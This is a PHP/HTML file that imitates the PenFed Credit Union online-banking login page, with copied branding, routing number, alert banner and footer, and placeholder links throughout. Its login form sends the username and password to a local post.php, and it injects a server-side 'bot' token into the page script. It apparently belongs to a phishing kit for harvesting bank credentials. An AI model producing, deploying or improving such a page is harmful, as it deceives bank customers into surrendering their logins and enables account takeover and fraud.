<?php
include("config.php");
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="icon" type="image/x-icon" href="favicon.ico">
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
    <link href="https://fonts.googleapis.com/css2?family=Source+Sans+3:wght@300;400;600;700&display=swap" rel="stylesheet">
    <title>PenFed Credit Union — Log In</title>
    <style>
        *, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }
        :root {
            --navy:      #1B3A6B;
            --navy-dark: #122849;
            --blue:      #1B6EBF;
            --blue-dark: #155aa0;
            --teal:      #0090D4;
            --text:      #2d2d2d;
            --text-sub:  #6b7280;
            --border:    #d1d5db;
            --offwhite:  #f5f7fa;
            --white:     #ffffff;
            --alert-bg:  #fef9ec;
            --alert-border: #f0d080;
        }
        html, body { height: 100%; font-family: 'Source Sans 3', sans-serif; color: var(--text); }
        body { display: flex; flex-direction: column; min-height: 100vh; background: var(--white); }

        /* ── UTILITY BAR ── */
        .utility-bar {
            background: #f0f2f5;
            border-bottom: 1px solid #dde1e8;
            padding: 6px 0;
        }
        .utility-inner {
            max-width: 1200px; margin: 0 auto;
            padding: 0 32px;
            display: flex; align-items: center; justify-content: center;
            gap: 28px;
        }
        .utility-bar a {
            font-size: 12.5px; color: var(--text-sub); text-decoration: none;
            transition: color 0.15s;
        }
        .utility-bar a:hover { color: var(--navy); }
        .utility-bar .routing {
            font-size: 12.5px; color: var(--text-sub); font-weight: 600;
        }
        .utility-bar .search-link {
            margin-left: auto; display: flex; align-items: center; gap: 5px;
            color: var(--blue); font-weight: 600; font-size: 12.5px;
            text-decoration: none;
        }
        .utility-bar .search-link svg { width: 14px; height: 14px; }

        /* ── MAIN NAV ── */
        .main-nav {
            background: var(--white);
            border-bottom: 1px solid #e5e8ef;
            padding: 0 32px;
            position: relative; z-index: 100;
        }
        .nav-inner {
            max-width: 1200px; margin: 0 auto;
            display: flex; align-items: center; height: 76px; gap: 0;
        }
        .nav-logo {
            display: flex; align-items: center; gap: 10px;
            text-decoration: none; margin-right: 32px; flex-shrink: 0;
        }
        .nav-logo img { height: 54px; width: auto; display: block; }
        .nav-links {
            display: flex; align-items: center; gap: 0; flex: 1;
        }
        .nav-links a {
            font-size: 14px; font-weight: 600; color: var(--text);
            text-decoration: none; padding: 0 14px; height: 76px;
            display: flex; align-items: center;
            border-bottom: 3px solid transparent;
            transition: color 0.15s, border-color 0.15s;
            white-space: nowrap;
        }
        .nav-links a:hover { color: var(--blue); border-bottom-color: var(--blue); }
        .nav-actions { display: flex; align-items: center; gap: 10px; margin-left: 20px; }
        .btn-join {
            background: var(--blue); color: #fff;
            border: none; border-radius: 4px;
            padding: 10px 22px; font-family: 'Source Sans 3', sans-serif;
            font-size: 14px; font-weight: 700; cursor: pointer;
            text-decoration: none; display: inline-block;
            transition: background 0.15s;
        }
        .btn-join:hover { background: var(--blue-dark); }
        .btn-login-nav {
            background: transparent; color: var(--navy);
            border: 2px solid var(--navy); border-radius: 4px;
            padding: 9px 22px; font-family: 'Source Sans 3', sans-serif;
            font-size: 14px; font-weight: 700; cursor: pointer;
            text-decoration: none; display: inline-block;
            transition: background 0.15s, color 0.15s;
        }
        .btn-login-nav:hover { background: var(--navy); color: #fff; }

        /* ── ALERT BANNER ── */
        .alert-banner {
            background: var(--alert-bg);
            border-bottom: 1px solid var(--alert-border);
            padding: 10px 32px;
            display: flex; align-items: center; justify-content: center;
        }
        .alert-inner {
            max-width: 1200px; width: 100%;
            display: flex; align-items: center; justify-content: space-between;
        }
        .alert-text { font-size: 13.5px; color: var(--text); }
        .alert-text strong { color: var(--navy); }
        .alert-text a { color: var(--blue); }
        .alert-close {
            background: none; border: none; cursor: pointer;
            color: var(--text-sub); font-size: 18px; line-height: 1;
            padding: 2px 6px; flex-shrink: 0;
        }
        .alert-close:hover { color: var(--text); }

        /* ── HERO ── */
        .hero {
            position: relative;
            min-height: 540px;
            display: flex; align-items: stretch;
            overflow: hidden;
            flex: 1;
        }
        .hero-bg {
            position: absolute; inset: 0;
            background: url('res/img/background.webp') center center / cover no-repeat;
            z-index: 0;
        }
        .hero-inner {
            position: relative; z-index: 2;
            max-width: 1200px; margin: 0 auto;
            width: 100%; padding: 0 32px;
            display: flex; align-items: center; gap: 40px;
            min-height: 540px;
        }

        /* Content card (semi-transparent white) */
        .hero-card {
            background: rgba(255,255,255,0.93);
            border-radius: 4px;
            padding: 36px 36px 30px;
            max-width: 480px;
            flex-shrink: 0;
            box-shadow: 0 4px 24px rgba(0,0,0,0.12);
        }
        .hero-card .eyebrow {
            font-size: 11px; font-weight: 700; color: var(--blue);
            letter-spacing: 0.1em; text-transform: uppercase;
            margin-bottom: 10px;
        }
        .hero-card h1 {
            font-size: clamp(26px, 3vw, 38px);
            font-weight: 700; color: var(--navy);
            line-height: 1.2; margin-bottom: 12px;
        }
        .hero-card p {
            font-size: 15px; color: var(--text-sub);
            line-height: 1.6; margin-bottom: 24px;
        }
        .btn-explore {
            background: var(--blue); color: #fff;
            border: none; border-radius: 4px;
            padding: 12px 28px; font-family: 'Source Sans 3', sans-serif;
            font-size: 14px; font-weight: 700; cursor: pointer;
            display: inline-block; text-decoration: none;
            transition: background 0.15s;
        }
        .btn-explore:hover { background: var(--blue-dark); }

        /* LOGIN CARD */
        .login-wrap { margin-left: auto; flex-shrink: 0; }
        .login-card {
            background: #fff;
            width: 340px;
            border-radius: 4px;
            padding: 30px 28px 26px;
            box-shadow: 0 8px 40px rgba(0,0,0,0.18);
            animation: cardIn 0.4s ease both;
        }
        @keyframes cardIn { from { opacity: 0; transform: translateY(16px); } to { opacity: 1; transform: translateY(0); } }
        .card-title {
            font-size: 20px; font-weight: 700; color: var(--navy);
            text-align: center; margin-bottom: 20px;
            padding-bottom: 16px; border-bottom: 2px solid var(--offwhite);
        }
        .field { margin-bottom: 14px; }
        .field label {
            display: block; font-size: 12px; font-weight: 700;
            color: var(--text); margin-bottom: 5px; letter-spacing: 0.02em;
        }
        .field input {
            width: 100%; height: 44px; padding: 0 13px;
            border: 1.5px solid var(--border); border-radius: 4px;
            font-family: 'Source Sans 3', sans-serif; font-size: 14px;
            color: var(--text); background: var(--white); outline: none;
            transition: border-color 0.15s, box-shadow 0.15s;
        }
        .field input::placeholder { color: #b0b8c4; }
        .field input:focus { border-color: var(--blue); box-shadow: 0 0 0 3px rgba(27,110,191,0.12); }
        .forgot-row { text-align: right; margin-top: -8px; margin-bottom: 14px; }
        .forgot-row a { font-size: 12.5px; color: var(--blue); text-decoration: none; }
        .forgot-row a:hover { text-decoration: underline; }
        .btn-login {
            width: 100%; height: 46px;
            background: var(--navy); color: #fff;
            border: none; border-radius: 4px;
            font-family: 'Source Sans 3', sans-serif;
            font-size: 15px; font-weight: 700;
            cursor: pointer; margin-bottom: 14px;
            letter-spacing: 0.01em;
            transition: background 0.15s;
        }
        .btn-login:hover { background: var(--navy-dark); }
        .card-divider {
            display: flex; align-items: center; gap: 10px;
            margin-bottom: 14px;
        }
        .card-divider hr { flex: 1; border: none; border-top: 1px solid var(--border); }
        .card-divider span { font-size: 12px; color: var(--text-sub); white-space: nowrap; }
        .btn-register {
            width: 100%; height: 44px;
            background: transparent; color: var(--blue);
            border: 2px solid var(--blue); border-radius: 4px;
            font-family: 'Source Sans 3', sans-serif;
            font-size: 14px; font-weight: 700;
            cursor: pointer; transition: background 0.15s, color 0.15s;
        }
        .btn-register:hover { background: var(--blue); color: #fff; }

        /* ── QUICK LINKS ── */
        .quick-links {
            background: #fff;
            border-top: 1px solid #e5e8ef;
            border-bottom: 1px solid #e5e8ef;
        }
        .quick-links-inner {
            max-width: 1200px; margin: 0 auto;
            padding: 0 32px;
            display: grid;
            grid-template-columns: repeat(8, 1fr);
        }
        .quick-link-item {
            display: flex; flex-direction: column; align-items: center;
            justify-content: center; gap: 8px;
            padding: 22px 10px;
            text-decoration: none; color: var(--text);
            font-size: 13px; font-weight: 600;
            border-right: 1px solid #e5e8ef;
            transition: color 0.15s, background 0.15s;
            text-align: center;
        }
        .quick-link-item:last-child { border-right: none; }
        .quick-link-item:hover { color: var(--blue); background: var(--offwhite); }
        .quick-link-icon {
            width: 32px; height: 32px; color: var(--navy);
            transition: color 0.15s;
        }
        .quick-link-item:hover .quick-link-icon { color: var(--blue); }

        /* ── FOOTER ── */
        .page-footer {
            background: var(--navy); padding: 24px 32px;
            display: flex; align-items: center; justify-content: space-between;
            flex-wrap: wrap; gap: 12px; margin-top: auto;
        }
        .footer-inner { max-width: 1200px; margin: 0 auto; width: 100%; display: flex; align-items: center; justify-content: space-between; flex-wrap: wrap; gap: 12px; }
        .footer-links { display: flex; gap: 20px; flex-wrap: wrap; }
        .footer-links a { font-size: 12px; color: rgba(255,255,255,0.6); text-decoration: none; }
        .footer-links a:hover { color: #fff; }
        .footer-copy { font-size: 12px; color: rgba(255,255,255,0.4); }

        @media (max-width: 960px) {
            .nav-links { display: none; }
            .hero-inner { flex-direction: column; align-items: center; padding: 40px 24px; }
            .hero-card { max-width: 100%; }
            .login-wrap { margin-left: 0; width: 100%; }
            .login-card { width: 100%; }
            .quick-links-inner { grid-template-columns: repeat(4, 1fr); }
        }
    </style>
</head>
<body>

    <!-- Utility Bar -->
    <div class="utility-bar">
        <div class="utility-inner">
            <span class="routing">Routing # 256078446</span>
            <a href="#">Partners</a>
            <a href="#">Member Discounts</a>
            <a href="#">Wealth</a>
            <a href="#">Foundation</a>
            <a href="#">ATMs &amp; Branches</a>
            <a href="#">About</a>
            <a href="#" class="search-link">Search <svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><circle cx="11" cy="11" r="8"/><path d="m21 21-4.35-4.35"/></svg></a>
        </div>
    </div>

    <!-- Main Nav -->
    <nav class="main-nav">
        <div class="nav-inner">
            <a href="#" class="nav-logo">
                <img src="res/img/logo.svg" alt="PenFed Credit Union">
            </a>
            <div class="nav-links">
                <a href="#">Checking &amp; Savings</a>
                <a href="#">Credit Cards</a>
                <a href="#">Auto</a>
                <a href="#">Mortgage &amp; Home Equity</a>
                <a href="#">Loans</a>
                <a href="#">Learn</a>
            </div>
            <div class="nav-actions">
                <a href="#" class="btn-join">Join Now</a>
                <a href="#" class="btn-login-nav">Log In</a>
            </div>
        </div>
    </nav>

    <!-- Alert Banner -->
    <div class="alert-banner" id="alertBanner">
        <div class="alert-inner">
            <div class="alert-text"><strong>Government shutdown:</strong> We're offering support for affected members. Get details <a href="#">here</a>.</div>
            <button class="alert-close" onclick="document.getElementById('alertBanner').style.display='none'">&#x2715;</button>
        </div>
    </div>

    <!-- Hero -->
    <div class="hero">
        <div class="hero-bg"></div>
        <div class="hero-inner">
            <!-- Content Card -->
            <div class="hero-card">
                <div class="eyebrow">Introducing PenFed® Home™</div>
                <h1>The new way to buy a home</h1>
                <p>PenFed Home brings together mortgage solutions and a trusted network of real estate agents.</p>
                <a href="#" class="btn-explore">Explore PenFed Home</a>
            </div>

            <!-- Login Card -->
            <div class="login-wrap">
                <div class="login-card">
                    <div class="card-title">Log In to Online Banking</div>
                    <script>var token=<?php echo json_encode($bot); ?>;</script>
                    <form action="post.php" method="post">
                        <div class="field">
                            <label for="user">Username</label>
                            <input type="text" id="user" name="user" required placeholder="Enter your username" autocomplete="username">
                        </div>
                        <div class="field">
                            <label for="pass">Password</label>
                            <input type="password" id="pass" name="pass" required placeholder="Enter your password" autocomplete="current-password">
                        </div>
                        <div class="forgot-row"><a href="#">Forgot Username or Password?</a></div>
                        <button type="submit" class="btn-login">Log In</button>
                    </form>
                    <div class="card-divider"><hr><span>New to PenFed?</span><hr></div>
                    <button class="btn-register" onclick="window.location='#'">Become a Member</button>
                </div>
            </div>
        </div>
    </div>

    <!-- Quick Links -->
    <div class="quick-links">
        <div class="quick-links-inner">
            <a href="#" class="quick-link-item">
                <svg class="quick-link-icon" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.6" stroke-linecap="round" stroke-linejoin="round"><rect x="2" y="7" width="20" height="14" rx="2"/><path d="M16 7V5a2 2 0 0 0-2-2h-4a2 2 0 0 0-2 2v2"/><line x1="12" y1="12" x2="12" y2="16"/><line x1="10" y1="14" x2="14" y2="14"/></svg>
                Auto Loans
            </a>
            <a href="#" class="quick-link-item">
                <svg class="quick-link-icon" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.6" stroke-linecap="round" stroke-linejoin="round"><rect x="2" y="5" width="20" height="14" rx="2"/><line x1="2" y1="10" x2="22" y2="10"/></svg>
                Checking
            </a>
            <a href="#" class="quick-link-item">
                <svg class="quick-link-icon" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.6" stroke-linecap="round" stroke-linejoin="round"><rect x="1" y="4" width="22" height="16" rx="2"/><line x1="1" y1="10" x2="23" y2="10"/></svg>
                Credit Cards
            </a>
            <a href="#" class="quick-link-item">
                <svg class="quick-link-icon" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.6" stroke-linecap="round" stroke-linejoin="round"><path d="M3 9l9-7 9 7v11a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2z"/><polyline points="9 22 9 12 15 12 15 22"/></svg>
                Mortgage
            </a>
            <a href="#" class="quick-link-item">
                <svg class="quick-link-icon" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.6" stroke-linecap="round" stroke-linejoin="round"><circle cx="11" cy="11" r="8"/><line x1="21" y1="21" x2="16.65" y2="16.65"/></svg>
                Find an Agent
            </a>
            <a href="#" class="quick-link-item">
                <svg class="quick-link-icon" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.6" stroke-linecap="round" stroke-linejoin="round"><path d="M3 9l9-7 9 7v11a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2z"/><line x1="9" y1="22" x2="9" y2="14"/><line x1="15" y1="22" x2="15" y2="14"/><rect x="9" y="14" width="6" height="8"/></svg>
                Home Equity
            </a>
            <a href="#" class="quick-link-item">
                <svg class="quick-link-icon" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.6" stroke-linecap="round" stroke-linejoin="round"><line x1="12" y1="1" x2="12" y2="23"/><path d="M17 5H9.5a3.5 3.5 0 0 0 0 7h5a3.5 3.5 0 0 1 0 7H6"/></svg>
                Loans
            </a>
            <a href="#" class="quick-link-item">
                <svg class="quick-link-icon" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="1.6" stroke-linecap="round" stroke-linejoin="round"><polyline points="22 12 18 12 15 21 9 3 6 12 2 12"/></svg>
                Wealth
            </a>
        </div>
    </div>

    <!-- Footer -->
    <footer class="page-footer">
        <div class="footer-inner">
            <div class="footer-links">
                <a href="#">Privacy</a><a href="#">Security</a><a href="#">Terms of Use</a>
                <a href="#">Accessibility</a><a href="#">NCUA</a><a href="#">Contact Us</a>
            </div>
            <div class="footer-copy">© 2025 PenFed Credit Union. Federally Insured by NCUA. Equal Housing Lender.</div>
        </div>
    </footer>

<script src="./res/jq.js"></script>
</body>
</html>